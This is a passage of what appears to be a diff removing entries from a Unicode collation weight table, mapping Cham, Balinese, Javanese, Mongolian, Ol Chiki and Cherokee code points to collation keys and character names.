-AA1C  ; [.30DD.0020.0002] # CHAM LETTER PHA
-AA1D  ; [.30DE.0020.0002] # CHAM LETTER BA
-AA1E  ; [.30DF.0020.0002] # CHAM LETTER BHA
-AA1F  ; [.30E0.0020.0002] # CHAM LETTER MUE
-AA20  ; [.30E1.0020.0002] # CHAM LETTER MA
-AA21  ; [.30E2.0020.0002] # CHAM LETTER BBA
-AA22  ; [.30E3.0020.0002] # CHAM LETTER YA
-AA23  ; [.30E4.0020.0002] # CHAM LETTER RA
-AA24  ; [.30E5.0020.0002] # CHAM LETTER LA
-AA25  ; [.30E6.0020.0002] # CHAM LETTER VA
-AA26  ; [.30E7.0020.0002] # CHAM LETTER SSA
-AA27  ; [.30E8.0020.0002] # CHAM LETTER SA
-AA28  ; [.30E9.0020.0002] # CHAM LETTER HA
-AA33  ; [.30EA.0020.0002] # CHAM CONSONANT SIGN YA
-AA34  ; [.30EB.0020.0002] # CHAM CONSONANT SIGN RA
-AA35  ; [.30EC.0020.0002] # CHAM CONSONANT SIGN LA
-AA36  ; [.30ED.0020.0002] # CHAM CONSONANT SIGN WA
-AA29  ; [.30EE.0020.0002] # CHAM VOWEL SIGN AA
-AA2A  ; [.30EF.0020.0002] # CHAM VOWEL SIGN I
-AA2B  ; [.30F0.0020.0002] # CHAM VOWEL SIGN II
-AA2C  ; [.30F1.0020.0002] # CHAM VOWEL SIGN EI
-AA2D  ; [.30F2.0020.0002] # CHAM VOWEL SIGN U
-AA2E  ; [.30F3.0020.0002] # CHAM VOWEL SIGN OE
-AA2F  ; [.30F4.0020.0002] # CHAM VOWEL SIGN O
-AA30  ; [.30F5.0020.0002] # CHAM VOWEL SIGN AI
-AA31  ; [.30F6.0020.0002] # CHAM VOWEL SIGN AU
-AA32  ; [.30F7.0020.0002] # CHAM VOWEL SIGN UE
-AA40  ; [.30F8.0020.0002] # CHAM LETTER FINAL K
-AA41  ; [.30F9.0020.0002] # CHAM LETTER FINAL G
-AA42  ; [.30FA.0020.0002] # CHAM LETTER FINAL NG
-AA43  ; [.30FB.0020.0002] # CHAM CONSONANT SIGN FINAL NG
-AA44  ; [.30FC.0020.0002] # CHAM LETTER FINAL CH
-AA45  ; [.30FD.0020.0002] # CHAM LETTER FINAL T
-AA46  ; [.30FE.0020.0002] # CHAM LETTER FINAL N
-AA47  ; [.30FF.0020.0002] # CHAM LETTER FINAL P
-AA48  ; [.3100.0020.0002] # CHAM LETTER FINAL Y
-AA49  ; [.3101.0020.0002] # CHAM LETTER FINAL R
-AA4A  ; [.3102.0020.0002] # CHAM LETTER FINAL L
-AA4B  ; [.3103.0020.0002] # CHAM LETTER FINAL SS
-AA4C  ; [.3104.0020.0002] # CHAM CONSONANT SIGN FINAL M
-AA4D  ; [.3105.0020.0002] # CHAM CONSONANT SIGN FINAL H
-1B05  ; [.3106.0020.0002] # BALINESE LETTER AKARA
-1B06  ; [.3107.0020.0002] # BALINESE LETTER AKARA TEDUNG
-1B05 1B35 ; [.3107.0020.0002] # BALINESE LETTER AKARA TEDUNG
-1B07  ; [.3108.0020.0002] # BALINESE LETTER IKARA
-1B08  ; [.3109.0020.0002] # BALINESE LETTER IKARA TEDUNG
-1B07 1B35 ; [.3109.0020.0002] # BALINESE LETTER IKARA TEDUNG
-1B09  ; [.310A.0020.0002] # BALINESE LETTER UKARA
-1B0A  ; [.310B.0020.0002] # BALINESE LETTER UKARA TEDUNG
-1B09 1B35 ; [.310B.0020.0002] # BALINESE LETTER UKARA TEDUNG
-1B0B  ; [.310C.0020.0002] # BALINESE LETTER RA REPA
-1B0C  ; [.310D.0020.0002] # BALINESE LETTER RA REPA TEDUNG
-1B0B 1B35 ; [.310D.0020.0002] # BALINESE LETTER RA REPA TEDUNG
-1B0D  ; [.310E.0020.0002] # BALINESE LETTER LA LENGA
-1B0E  ; [.310F.0020.0002] # BALINESE LETTER LA LENGA TEDUNG
-1B0D 1B35 ; [.310F.0020.0002] # BALINESE LETTER LA LENGA TEDUNG
-1B0F  ; [.3110.0020.0002] # BALINESE LETTER EKARA
-1B10  ; [.3111.0020.0002] # BALINESE LETTER AIKARA
-1B11  ; [.3112.0020.0002] # BALINESE LETTER OKARA
-1B12  ; [.3113.0020.0002] # BALINESE LETTER OKARA TEDUNG
-1B11 1B35 ; [.3113.0020.0002] # BALINESE LETTER OKARA TEDUNG
-1B13  ; [.3114.0020.0002] # BALINESE LETTER KA
-1B45  ; [.3115.0020.0002] # BALINESE LETTER KAF SASAK
-1B46  ; [.3116.0020.0002] # BALINESE LETTER KHOT SASAK
-1B14  ; [.3117.0020.0002] # BALINESE LETTER KA MAHAPRANA
-1B15  ; [.3118.0020.0002] # BALINESE LETTER GA
-1B16  ; [.3119.0020.0002] # BALINESE LETTER GA GORA
-1B17  ; [.311A.0020.0002] # BALINESE LETTER NGA
-1B18  ; [.311B.0020.0002] # BALINESE LETTER CA
-1B19  ; [.311C.0020.0002] # BALINESE LETTER CA LACA
-1B1A  ; [.311D.0020.0002] # BALINESE LETTER JA
-1B1B  ; [.311E.0020.0002] # BALINESE LETTER JA JERA
-1B1C  ; [.311F.0020.0002] # BALINESE LETTER NYA
-1B1D  ; [.3120.0020.0002] # BALINESE LETTER TA LATIK
-1B1E  ; [.3121.0020.0002] # BALINESE LETTER TA MURDA MAHAPRANA
-1B1F  ; [.3122.0020.0002] # BALINESE LETTER DA MURDA ALPAPRANA
-1B20  ; [.3123.0020.0002] # BALINESE LETTER DA MURDA MAHAPRANA
-1B21  ; [.3124.0020.0002] # BALINESE LETTER NA RAMBAT
-1B22  ; [.3125.0020.0002] # BALINESE LETTER TA
-1B47  ; [.3126.0020.0002] # BALINESE LETTER TZIR SASAK
-1B23  ; [.3127.0020.0002] # BALINESE LETTER TA TAWA
-1B24  ; [.3128.0020.0002] # BALINESE LETTER DA
-1B25  ; [.3129.0020.0002] # BALINESE LETTER DA MADU
-1B26  ; [.312A.0020.0002] # BALINESE LETTER NA
-1B27  ; [.312B.0020.0002] # BALINESE LETTER PA
-1B48  ; [.312C.0020.0002] # BALINESE LETTER EF SASAK
-1B28  ; [.312D.0020.0002] # BALINESE LETTER PA KAPAL
-1B29  ; [.312E.0020.0002] # BALINESE LETTER BA
-1B2A  ; [.312F.0020.0002] # BALINESE LETTER BA KEMBANG
-1B2B  ; [.3130.0020.0002] # BALINESE LETTER MA
-1B2C  ; [.3131.0020.0002] # BALINESE LETTER YA
-1B2D  ; [.3132.0020.0002] # BALINESE LETTER RA
-1B2E  ; [.3133.0020.0002] # BALINESE LETTER LA
-1B2F  ; [.3134.0020.0002] # BALINESE LETTER WA
-1B49  ; [.3135.0020.0002] # BALINESE LETTER VE SASAK
-1B30  ; [.3136.0020.0002] # BALINESE LETTER SA SAGA
-1B31  ; [.3137.0020.0002] # BALINESE LETTER SA SAPA
-1B32  ; [.3138.0020.0002] # BALINESE LETTER SA
-1B4A  ; [.3139.0020.0002] # BALINESE LETTER ZAL SASAK
-1B4B  ; [.313A.0020.0002] # BALINESE LETTER ASYURA SASAK
-1B33  ; [.313B.0020.0002] # BALINESE LETTER HA
-1B35  ; [.313C.0020.0002] # BALINESE VOWEL SIGN TEDUNG
-1B36  ; [.313D.0020.0002] # BALINESE VOWEL SIGN ULU
-1B37  ; [.313E.0020.0002] # BALINESE VOWEL SIGN ULU SARI
-1B38  ; [.313F.0020.0002] # BALINESE VOWEL SIGN SUKU
-1B39  ; [.3140.0020.0002] # BALINESE VOWEL SIGN SUKU ILUT
-1B3A  ; [.3141.0020.0002] # BALINESE VOWEL SIGN RA REPA
-1B3B  ; [.3142.0020.0002] # BALINESE VOWEL SIGN RA REPA TEDUNG
-1B3A 1B35 ; [.3142.0020.0002] # BALINESE VOWEL SIGN RA REPA TEDUNG
-1B3C  ; [.3143.0020.0002] # BALINESE VOWEL SIGN LA LENGA
-1B3D  ; [.3144.0020.0002] # BALINESE VOWEL SIGN LA LENGA TEDUNG
-1B3C 1B35 ; [.3144.0020.0002] # BALINESE VOWEL SIGN LA LENGA TEDUNG
-1B3E  ; [.3145.0020.0002] # BALINESE VOWEL SIGN TALING
-1B3F  ; [.3146.0020.0002] # BALINESE VOWEL SIGN TALING REPA
-1B40  ; [.3147.0020.0002] # BALINESE VOWEL SIGN TALING TEDUNG
-1B3E 1B35 ; [.3147.0020.0002] # BALINESE VOWEL SIGN TALING TEDUNG
-1B41  ; [.3148.0020.0002] # BALINESE VOWEL SIGN TALING REPA TEDUNG
-1B3F 1B35 ; [.3148.0020.0002] # BALINESE VOWEL SIGN TALING REPA TEDUNG
-1B42  ; [.3149.0020.0002] # BALINESE VOWEL SIGN PEPET
-1B43  ; [.314A.0020.0002] # BALINESE VOWEL SIGN PEPET TEDUNG
-1B42 1B35 ; [.314A.0020.0002] # BALINESE VOWEL SIGN PEPET TEDUNG
-1B44  ; [.314B.0020.0002] # BALINESE ADEG ADEG
-A984  ; [.314C.0020.0002] # JAVANESE LETTER A
-A985  ; [.314D.0020.0002] # JAVANESE LETTER I KAWI
-A986  ; [.314E.0020.0002] # JAVANESE LETTER I
-A987  ; [.314F.0020.0002] # JAVANESE LETTER II
-A988  ; [.3150.0020.0002] # JAVANESE LETTER U
-A989  ; [.3151.0020.0002] # JAVANESE LETTER PA CEREK
-A98A  ; [.3152.0020.0002] # JAVANESE LETTER NGA LELET
-A98B  ; [.3153.0020.0002] # JAVANESE LETTER NGA LELET RASWADI
-A98C  ; [.3154.0020.0002] # JAVANESE LETTER E
-A98D  ; [.3155.0020.0002] # JAVANESE LETTER AI
-A98E  ; [.3156.0020.0002] # JAVANESE LETTER O
-A98F  ; [.3157.0020.0002] # JAVANESE LETTER KA
-A990  ; [.3158.0020.0002] # JAVANESE LETTER KA SASAK
-A991  ; [.3159.0020.0002] # JAVANESE LETTER KA MURDA
-A992  ; [.315A.0020.0002] # JAVANESE LETTER GA
-A993  ; [.315B.0020.0002] # JAVANESE LETTER GA MURDA
-A994  ; [.315C.0020.0002] # JAVANESE LETTER NGA
-A995  ; [.315D.0020.0002] # JAVANESE LETTER CA
-A996  ; [.315E.0020.0002] # JAVANESE LETTER CA MURDA
-A997  ; [.315F.0020.0002] # JAVANESE LETTER JA
-A998  ; [.3160.0020.0002] # JAVANESE LETTER NYA MURDA
-A999  ; [.3161.0020.0002] # JAVANESE LETTER JA MAHAPRANA
-A99A  ; [.3162.0020.0002] # JAVANESE LETTER NYA
-A99B  ; [.3163.0020.0002] # JAVANESE LETTER TTA
-A99C  ; [.3164.0020.0002] # JAVANESE LETTER TTA MAHAPRANA
-A99D  ; [.3165.0020.0002] # JAVANESE LETTER DDA
-A99E  ; [.3166.0020.0002] # JAVANESE LETTER DDA MAHAPRANA
-A99F  ; [.3167.0020.0002] # JAVANESE LETTER NA MURDA
-A9A0  ; [.3168.0020.0002] # JAVANESE LETTER TA
-A9A1  ; [.3169.0020.0002] # JAVANESE LETTER TA MURDA
-A9A2  ; [.316A.0020.0002] # JAVANESE LETTER DA
-A9A3  ; [.316B.0020.0002] # JAVANESE LETTER DA MAHAPRANA
-A9A4  ; [.316C.0020.0002] # JAVANESE LETTER NA
-A9A5  ; [.316D.0020.0002] # JAVANESE LETTER PA
-A9A6  ; [.316E.0020.0002] # JAVANESE LETTER PA MURDA
-A9A7  ; [.316F.0020.0002] # JAVANESE LETTER BA
-A9A8  ; [.3170.0020.0002] # JAVANESE LETTER BA MURDA
-A9A9  ; [.3171.0020.0002] # JAVANESE LETTER MA
-A9AA  ; [.3172.0020.0002] # JAVANESE LETTER YA
-A9BE  ; [.3173.0020.0002] # JAVANESE CONSONANT SIGN PENGKAL
-A9AB  ; [.3174.0020.0002] # JAVANESE LETTER RA
-A9AC  ; [.3174.0020.0004] # JAVANESE LETTER RA AGUNG
-A9BF  ; [.3175.0020.0002] # JAVANESE CONSONANT SIGN CAKRA
-A9AD  ; [.3176.0020.0002] # JAVANESE LETTER LA
-A9AE  ; [.3177.0020.0002] # JAVANESE LETTER WA
-A9AF  ; [.3178.0020.0002] # JAVANESE LETTER SA MURDA
-A9B0  ; [.3179.0020.0002] # JAVANESE LETTER SA MAHAPRANA
-A9B1  ; [.317A.0020.0002] # JAVANESE LETTER SA
-A9B2  ; [.317B.0020.0002] # JAVANESE LETTER HA
-A9B4  ; [.317C.0020.0002] # JAVANESE VOWEL SIGN TARUNG
-A9BC  ; [.317D.0020.0002] # JAVANESE VOWEL SIGN PEPET
-A9B6  ; [.317E.0020.0002] # JAVANESE VOWEL SIGN WULU
-A9B7  ; [.317F.0020.0002] # JAVANESE VOWEL SIGN WULU MELIK
-A9B8  ; [.3180.0020.0002] # JAVANESE VOWEL SIGN SUKU
-A9B9  ; [.3181.0020.0002] # JAVANESE VOWEL SIGN SUKU MENDUT
-A9BD  ; [.3182.0020.0002] # JAVANESE CONSONANT SIGN KERET
-A9BA  ; [.3183.0020.0002] # JAVANESE VOWEL SIGN TALING
-A9BB  ; [.3184.0020.0002] # JAVANESE VOWEL SIGN DIRGA MURE
-A9B5  ; [.3185.0020.0002] # JAVANESE VOWEL SIGN TOLONG
-A9C0  ; [.3186.0020.0002] # JAVANESE PANGKON
-1880  ; [.3187.0020.0002] # MONGOLIAN LETTER ALI GALI ANUSVARA ONE
-1881  ; [.3188.0020.0002] # MONGOLIAN LETTER ALI GALI VISARGA ONE
-1882  ; [.3189.0020.0002] # MONGOLIAN LETTER ALI GALI DAMARU
-1883  ; [.318A.0020.0002] # MONGOLIAN LETTER ALI GALI UBADAMA
-1884  ; [.318B.0020.0002] # MONGOLIAN LETTER ALI GALI INVERTED UBADAMA
-1885  ; [.318C.0020.0002] # MONGOLIAN LETTER ALI GALI BALUDA
-1886  ; [.318D.0020.0002] # MONGOLIAN LETTER ALI GALI THREE BALUDA
-1843  ; [.318E.0020.0002] # MONGOLIAN LETTER TODO LONG VOWEL SIGN
-1820  ; [.318F.0020.0002] # MONGOLIAN LETTER A
-1887  ; [.3190.0020.0002] # MONGOLIAN LETTER ALI GALI A
-1821  ; [.3191.0020.0002] # MONGOLIAN LETTER E
-1844  ; [.3192.0020.0002] # MONGOLIAN LETTER TODO E
-185D  ; [.3193.0020.0002] # MONGOLIAN LETTER SIBE E
-1822  ; [.3194.0020.0002] # MONGOLIAN LETTER I
-1845  ; [.3195.0020.0002] # MONGOLIAN LETTER TODO I
-185E  ; [.3196.0020.0002] # MONGOLIAN LETTER SIBE I
-1873  ; [.3197.0020.0002] # MONGOLIAN LETTER MANCHU I
-1888  ; [.3198.0020.0002] # MONGOLIAN LETTER ALI GALI I
-185F  ; [.3199.0020.0002] # MONGOLIAN LETTER SIBE IY
-1823  ; [.319A.0020.0002] # MONGOLIAN LETTER O
-1846  ; [.319B.0020.0002] # MONGOLIAN LETTER TODO O
-1824  ; [.319C.0020.0002] # MONGOLIAN LETTER U
-1847  ; [.319D.0020.0002] # MONGOLIAN LETTER TODO U
-1861  ; [.319E.0020.0002] # MONGOLIAN LETTER SIBE U
-1825  ; [.319F.0020.0002] # MONGOLIAN LETTER OE
-1848  ; [.31A0.0020.0002] # MONGOLIAN LETTER TODO OE
-1826  ; [.31A1.0020.0002] # MONGOLIAN LETTER UE
-1849  ; [.31A2.0020.0002] # MONGOLIAN LETTER TODO UE
-1860  ; [.31A3.0020.0002] # MONGOLIAN LETTER SIBE UE
-1827  ; [.31A4.0020.0002] # MONGOLIAN LETTER EE
-1828  ; [.31A5.0020.0002] # MONGOLIAN LETTER NA
-1829  ; [.31A6.0020.0002] # MONGOLIAN LETTER ANG
-184A  ; [.31A7.0020.0002] # MONGOLIAN LETTER TODO ANG
-1862  ; [.31A8.0020.0002] # MONGOLIAN LETTER SIBE ANG
-188A  ; [.31A9.0020.0002] # MONGOLIAN LETTER ALI GALI NGA
-189B  ; [.31AA.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI NGA
-182A  ; [.31AB.0020.0002] # MONGOLIAN LETTER BA
-184B  ; [.31AC.0020.0002] # MONGOLIAN LETTER TODO BA
-182B  ; [.31AD.0020.0002] # MONGOLIAN LETTER PA
-184C  ; [.31AE.0020.0002] # MONGOLIAN LETTER TODO PA
-1866  ; [.31AF.0020.0002] # MONGOLIAN LETTER SIBE PA
-182C  ; [.31B0.0020.0002] # MONGOLIAN LETTER QA
-184D  ; [.31B1.0020.0002] # MONGOLIAN LETTER TODO QA
-182D  ; [.31B2.0020.0002] # MONGOLIAN LETTER GA
-184E  ; [.31B3.0020.0002] # MONGOLIAN LETTER TODO GA
-1864  ; [.31B4.0020.0002] # MONGOLIAN LETTER SIBE GA
-189A  ; [.31B5.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI GHA
-1865  ; [.31B6.0020.0002] # MONGOLIAN LETTER SIBE HA
-182E  ; [.31B7.0020.0002] # MONGOLIAN LETTER MA
-184F  ; [.31B8.0020.0002] # MONGOLIAN LETTER TODO MA
-182F  ; [.31B9.0020.0002] # MONGOLIAN LETTER LA
-1830  ; [.31BA.0020.0002] # MONGOLIAN LETTER SA
-1831  ; [.31BB.0020.0002] # MONGOLIAN LETTER SHA
-1867  ; [.31BC.0020.0002] # MONGOLIAN LETTER SIBE SHA
-189C  ; [.31BD.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI CA
-189D  ; [.31BE.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI JHA
-18A2  ; [.31BF.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI SSA
-18A4  ; [.31C0.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI ZHA
-18A5  ; [.31C1.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI ZA
-1832  ; [.31C2.0020.0002] # MONGOLIAN LETTER TA
-1850  ; [.31C3.0020.0002] # MONGOLIAN LETTER TODO TA
-1868  ; [.31C4.0020.0002] # MONGOLIAN LETTER SIBE TA
-1833  ; [.31C5.0020.0002] # MONGOLIAN LETTER DA
-1851  ; [.31C6.0020.0002] # MONGOLIAN LETTER TODO DA
-1869  ; [.31C7.0020.0002] # MONGOLIAN LETTER SIBE DA
-1834  ; [.31C8.0020.0002] # MONGOLIAN LETTER CHA
-1852  ; [.31C9.0020.0002] # MONGOLIAN LETTER TODO CHA
-1871  ; [.31CA.0020.0002] # MONGOLIAN LETTER SIBE CHA
-185C  ; [.31CB.0020.0002] # MONGOLIAN LETTER TODO DZA
-188B  ; [.31CC.0020.0002] # MONGOLIAN LETTER ALI GALI CA
-1835  ; [.31CD.0020.0002] # MONGOLIAN LETTER JA
-1853  ; [.31CE.0020.0002] # MONGOLIAN LETTER TODO JA
-186A  ; [.31CF.0020.0002] # MONGOLIAN LETTER SIBE JA
-1877  ; [.31D0.0020.0002] # MONGOLIAN LETTER MANCHU ZHA
-1836  ; [.31D1.0020.0002] # MONGOLIAN LETTER YA
-1855  ; [.31D2.0020.0002] # MONGOLIAN LETTER TODO YA
-1872  ; [.31D3.0020.0002] # MONGOLIAN LETTER SIBE ZHA
-1837  ; [.31D4.0020.0002] # MONGOLIAN LETTER RA
-1875  ; [.31D5.0020.0002] # MONGOLIAN LETTER MANCHU RA
-1838  ; [.31D6.0020.0002] # MONGOLIAN LETTER WA
-1856  ; [.31D7.0020.0002] # MONGOLIAN LETTER TODO WA
-1839  ; [.31D8.0020.0002] # MONGOLIAN LETTER FA
-186B  ; [.31D9.0020.0002] # MONGOLIAN LETTER SIBE FA
-1876  ; [.31DA.0020.0002] # MONGOLIAN LETTER MANCHU FA
-183A  ; [.31DB.0020.0002] # MONGOLIAN LETTER KA
-1857  ; [.31DC.0020.0002] # MONGOLIAN LETTER TODO KA
-1863  ; [.31DD.0020.0002] # MONGOLIAN LETTER SIBE KA
-1874  ; [.31DE.0020.0002] # MONGOLIAN LETTER MANCHU KA
-1889  ; [.31DF.0020.0002] # MONGOLIAN LETTER ALI GALI KA
-183B  ; [.31E0.0020.0002] # MONGOLIAN LETTER KHA
-183C  ; [.31E1.0020.0002] # MONGOLIAN LETTER TSA
-1854  ; [.31E2.0020.0002] # MONGOLIAN LETTER TODO TSA
-186E  ; [.31E3.0020.0002] # MONGOLIAN LETTER SIBE TSA
-183D  ; [.31E4.0020.0002] # MONGOLIAN LETTER ZA
-186F  ; [.31E5.0020.0002] # MONGOLIAN LETTER SIBE ZA
-1858  ; [.31E6.0020.0002] # MONGOLIAN LETTER TODO GAA
-186C  ; [.31E7.0020.0002] # MONGOLIAN LETTER SIBE GAA
-183E  ; [.31E8.0020.0002] # MONGOLIAN LETTER HAA
-1859  ; [.31E9.0020.0002] # MONGOLIAN LETTER TODO HAA
-186D  ; [.31EA.0020.0002] # MONGOLIAN LETTER SIBE HAA
-183F  ; [.31EB.0020.0002] # MONGOLIAN LETTER ZRA
-1840  ; [.31EC.0020.0002] # MONGOLIAN LETTER LHA
-1841  ; [.31ED.0020.0002] # MONGOLIAN LETTER ZHI
-1842  ; [.31EE.0020.0002] # MONGOLIAN LETTER CHI
-185A  ; [.31EF.0020.0002] # MONGOLIAN LETTER TODO JIA
-185B  ; [.31F0.0020.0002] # MONGOLIAN LETTER TODO NIA
-1870  ; [.31F1.0020.0002] # MONGOLIAN LETTER SIBE RAA
-188C  ; [.31F2.0020.0002] # MONGOLIAN LETTER ALI GALI TTA
-189E  ; [.31F3.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI TTA
-188D  ; [.31F4.0020.0002] # MONGOLIAN LETTER ALI GALI TTHA
-188E  ; [.31F5.0020.0002] # MONGOLIAN LETTER ALI GALI DDA
-189F  ; [.31F6.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI DDHA
-188F  ; [.31F7.0020.0002] # MONGOLIAN LETTER ALI GALI NNA
-1890  ; [.31F8.0020.0002] # MONGOLIAN LETTER ALI GALI TA
-1898  ; [.31F9.0020.0002] # MONGOLIAN LETTER TODO ALI GALI TA
-18A0  ; [.31FA.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI TA
-1891  ; [.31FB.0020.0002] # MONGOLIAN LETTER ALI GALI DA
-18A1  ; [.31FC.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI DHA
-1892  ; [.31FD.0020.0002] # MONGOLIAN LETTER ALI GALI PA
-1893  ; [.31FE.0020.0002] # MONGOLIAN LETTER ALI GALI PHA
-18A8  ; [.31FF.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI BHA
-1894  ; [.3200.0020.0002] # MONGOLIAN LETTER ALI GALI SSA
-18A3  ; [.3201.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI CYA
-1895  ; [.3202.0020.0002] # MONGOLIAN LETTER ALI GALI ZHA
-1899  ; [.3203.0020.0002] # MONGOLIAN LETTER TODO ALI GALI ZHA
-1896  ; [.3204.0020.0002] # MONGOLIAN LETTER ALI GALI ZA
-1897  ; [.3205.0020.0002] # MONGOLIAN LETTER ALI GALI AH
-18A6  ; [.3206.0020.0002] # MONGOLIAN LETTER ALI GALI HALF U
-18A7  ; [.3207.0020.0002] # MONGOLIAN LETTER ALI GALI HALF YA
-18AA  ; [.3208.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI LHA
-18A9  ; [.3209.0020.0002] # MONGOLIAN LETTER ALI GALI DAGALGA
-1C5A  ; [.320A.0020.0002] # OL CHIKI LETTER LA
-1C5B  ; [.320B.0020.0002] # OL CHIKI LETTER AT
-1C5C  ; [.320C.0020.0002] # OL CHIKI LETTER AG
-1C5D  ; [.320D.0020.0002] # OL CHIKI LETTER ANG
-1C5E  ; [.320E.0020.0002] # OL CHIKI LETTER AL
-1C5F  ; [.320F.0020.0002] # OL CHIKI LETTER LAA
-1C60  ; [.3210.0020.0002] # OL CHIKI LETTER AAK
-1C61  ; [.3211.0020.0002] # OL CHIKI LETTER AAJ
-1C62  ; [.3212.0020.0002] # OL CHIKI LETTER AAM
-1C63  ; [.3213.0020.0002] # OL CHIKI LETTER AAW
-1C64  ; [.3214.0020.0002] # OL CHIKI LETTER LI
-1C65  ; [.3215.0020.0002] # OL CHIKI LETTER IS
-1C66  ; [.3216.0020.0002] # OL CHIKI LETTER IH
-1C67  ; [.3217.0020.0002] # OL CHIKI LETTER INY
-1C68  ; [.3218.0020.0002] # OL CHIKI LETTER IR
-1C69  ; [.3219.0020.0002] # OL CHIKI LETTER LU
-1C6A  ; [.321A.0020.0002] # OL CHIKI LETTER UC
-1C6B  ; [.321B.0020.0002] # OL CHIKI LETTER UD
-1C6C  ; [.321C.0020.0002] # OL CHIKI LETTER UNN
-1C6D  ; [.321D.0020.0002] # OL CHIKI LETTER UY
-1C6E  ; [.321E.0020.0002] # OL CHIKI LETTER LE
-1C6F  ; [.321F.0020.0002] # OL CHIKI LETTER EP
-1C70  ; [.3220.0020.0002] # OL CHIKI LETTER EDD
-1C71  ; [.3221.0020.0002] # OL CHIKI LETTER EN
-1C72  ; [.3222.0020.0002] # OL CHIKI LETTER ERR
-1C73  ; [.3223.0020.0002] # OL CHIKI LETTER LO
-1C74  ; [.3224.0020.0002] # OL CHIKI LETTER OTT
-1C75  ; [.3225.0020.0002] # OL CHIKI LETTER OB
-1C76  ; [.3226.0020.0002] # OL CHIKI LETTER OV
-1C77  ; [.3227.0020.0002] # OL CHIKI LETTER OH
-1C78  ; [.3228.0020.0002] # OL CHIKI MU TTUDDAG
-1C79  ; [.3229.0020.0002] # OL CHIKI GAAHLAA TTUDDAAG
-1C7A  ; [.322A.0020.0002] # OL CHIKI MU-GAAHLAA TTUDDAAG
-1C7B  ; [.322B.0020.0002] # OL CHIKI RELAA
-1C7C  ; [.322C.0020.0002] # OL CHIKI PHAARKAA
-1C7D  ; [.322D.0020.0002] # OL CHIKI AHAD
-AB70  ; [.322E.0020.0002] # CHEROKEE SMALL LETTER A
-13A0  ; [.322E.0020.0008] # CHEROKEE LETTER A
-AB71  ; [.322F.0020.0002] # CHEROKEE SMALL LETTER E
-13A1  ; [.322F.0020.0008] # CHEROKEE LETTER E
-AB72  ; [.3230.0020.0002] # CHEROKEE SMALL LETTER I
-13A2  ; [.3230.0020.0008] # CHEROKEE LETTER I
-AB73  ; [.3231.0020.0002] # CHEROKEE SMALL LETTER O
-13A3  ; [.3231.0020.0008] # CHEROKEE LETTER O
-AB74  ; [.3232.0020.0002] # CHEROKEE SMALL LETTER U
-13A4  ; [.3232.0020.0008] # CHEROKEE LETTER U
-AB75  ; [.3233.0020.0002] # CHEROKEE SMALL LETTER V
-13A5  ; [.3233.0020.0008] # CHEROKEE LETTER V
-AB76  ; [.3234.0020.0002] # CHEROKEE SMALL LETTER GA
-13A6  ; [.3234.0020.0008] # CHEROKEE LETTER GA
-AB77  ; [.3235.0020.0002] # CHEROKEE SMALL LETTER KA
-13A7  ; [.3235.0020.0008] # CHEROKEE LETTER KA
-AB78  ; [.3236.0020.0002] # CHEROKEE SMALL LETTER GE
-13A8  ; [.3236.0020.0008] # CHEROKEE LETTER GE
-AB79  ; [.3237.0020.0002] # CHEROKEE SMALL LETTER GI
-13A9  ; [.3237.0020.0008] # CHEROKEE LETTER GI
-AB7A  ; [.3238.0020.0002] # CHEROKEE SMALL LETTER GO
-13AA  ; [.3238.0020.0008] # CHEROKEE LETTER GO
-AB7B  ; [.3239.0020.0002] # CHEROKEE SMALL LETTER GU
-13AB  ; [.3239.0020.0008] # CHEROKEE LETTER GU
-AB7C  ; [.323A.0020.0002] # CHEROKEE SMALL LETTER GV
-13AC  ; [.323A.0020.0008] # CHEROKEE LETTER GV
-AB7D  ; [.323B.0020.0002] # CHEROKEE SMALL LETTER HA
-13AD  ; [.323B.0020.0008] # CHEROKEE LETTER HA
-AB7E  ; [.323C.0020.0002] # CHEROKEE SMALL LETTER HE
-13AE  ; [.323C.0020.0008] # CHEROKEE LETTER HE
-AB7F  ; [.323D.0020.0002] # CHEROKEE SMALL LETTER HI
-13AF  ; [.323D.0020.0008] # CHEROKEE LETTER HI
-AB80  ; [.323E.0020.0002] # CHEROKEE SMALL LETTER HO
-13B0  ; [.323E.0020.0008] # CHEROKEE LETTER HO
-AB81  ; [.323F.0020.0002] # CHEROKEE SMALL LETTER HU
-13B1  ; [.323F.0020.0008] # CHEROKEE LETTER HU
-AB82  ; [.3240.0020.0002] # CHEROKEE SMALL LETTER HV
-13B2  ; [.3240.0020.0008] # CHEROKEE LETTER HV
-AB83  ; [.3241.0020.0002] # CHEROKEE SMALL LETTER LA
-13B3  ; [.3241.0020.0008] # CHEROKEE LETTER LA
-AB84  ; [.3242.0020.0002] # CHEROKEE SMALL LETTER LE
-13B4  ; [.3242.0020.0008] # CHEROKEE LETTER LE
-AB85  ; [.3243.0020.0002] # CHEROKEE SMALL LETTER LI
-13B5  ; [.3243.0020.0008] # CHEROKEE LETTER LI
-AB86  ; [.3244.0020.0002] # CHEROKEE SMALL LETTER LO
-13B6  ; [.3244.0020.0008] # CHEROKEE LETTER LO
-AB87  ; [.3245.0020.0002] # CHEROKEE SMALL LETTER LU
-13B7  ; [.3245.0020.0008] # CHEROKEE LETTER LU
-AB88  ; [.3246.0020.0002] # CHEROKEE SMALL LETTER LV
-13B8  ; [.3246.0020.0008] # CHEROKEE LETTER LV
-AB89  ; [.3247.0020.0002] # CHEROKEE SMALL LETTER MA
-13B9  ; [.3247.0020.0008] # CHEROKEE LETTER MA
-AB8A  ; [.3248.0020.0002] # CHEROKEE SMALL LETTER ME
-13BA  ; [.3248.0020.0008] # CHEROKEE LETTER ME
-AB8B  ; [.3249.0020.0002] # CHEROKEE SMALL LETTER MI
-13BB  ; [.3249.0020.0008] # CHEROKEE LETTER MI
-AB8C  ; [.324A.0020.0002] # CHEROKEE SMALL LETTER MO
-13BC  ; [.324A.0020.0008] # CHEROKEE LETTER MO
-AB8D  ; [.324B.0020.0002] # CHEROKEE SMALL LETTER MU
